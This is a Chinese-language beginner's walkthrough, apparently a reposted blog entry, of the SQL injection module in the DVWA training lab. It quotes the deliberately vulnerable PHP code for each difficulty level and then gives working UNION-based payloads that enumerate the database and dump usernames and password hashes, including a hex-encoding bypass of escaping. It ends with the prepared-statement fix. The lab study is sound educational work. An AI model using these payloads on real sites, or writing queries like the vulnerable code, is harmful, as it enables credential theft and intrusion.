新手DVWA-SQL Injection

SQL Injection

SQL Injection即SQL注入,是由于web应用程序对用户输入数据没有进行过滤或过滤不完全,导致输入数据破坏原有SQL语句并执行恶意指令

low

服务器核心代码

 <?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

从代码来看,没有任何过滤,直接注入

解法

输入1' and 1=0 # 无回显

image-20200720225529908

输入1' and 1=1 # 有回显

image-20200720225701724

说明注入成功,然后查字段个数 0' union select 1,2#

image-20200720225800552

2的时候不报错,说明有两个字段,然后爆库 0' union select database(),2#

image-20200720225858180

爆表 0' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa' #

image-20200720230959879

爆字段 0' union select group_concat(column_name),2 from information_schema.columns where table_schema='dvwa' and table_name='users' #

image-20200720231755695

爆值 0' union select group_concat(user,':',password) ,2 from dvwa.users #

image-20200720232054324

成功拿到数据

medium

服务器核心代码

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 

medium难度代码将提交方式改成了post,同时使用mysqli_real_escape_string()函数过滤掉了\x00,\n,\r,\,',",\x1a这些特殊字符,还要注意的是,medium的SQL语句从之前的字符型变成了数字型

解法

抓包然后发到repeater模块

image-20200723072326155

发送1 and 1=1 正常回显

image-20200723072701275

发送1 and 1=0 无回显 说明注入成功

image-20200723074506604

用order by查字段个数 发现3会报错 2正常

image-20200723074657715

爆库 0 union select database(),2

image-20200723074906134

爆表 0 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()

image-20200723075327330

爆字段 0 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name=0x7573657273(注意这里因为单引号被转义,用的是users的16进制进行绕过)

image-20200723092022389

爆值 0 union select group_concat(user,0x3a,password),2 from dvwa.users(0x3a是“:”,原理同上)

image-20200723092445869

成功拿到数据

high

服务器核心代码

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?> 

high难度改用session传参数,也是没有过滤,limit 1在注入时会被注释掉,所以注入方式和low难度一样

解法

查字段个数 2不报错

image-20200723095129561

爆库 0' union select database(),2#

image-20200723095308268

爆表 0' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa' #

image-20200723095340918

爆字段 0' union select group_concat(column_name),2 from information_schema.columns where table_schema='dvwa' and table_name='users' #

image-20200723095417261

爆值 0' union select group_concat(user,':',password) ,2 from dvwa.users #

image-20200723095541415

成功拿到数据

impossible

服务器核心代码

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

从代码上看,判断输入参数是否为数字,后面还使用了PDO来防止SQL注入,这里已经不能再进行SQL注入了

猜你喜欢

转载自www.cnblogs.com/N0ri/p/13379117.html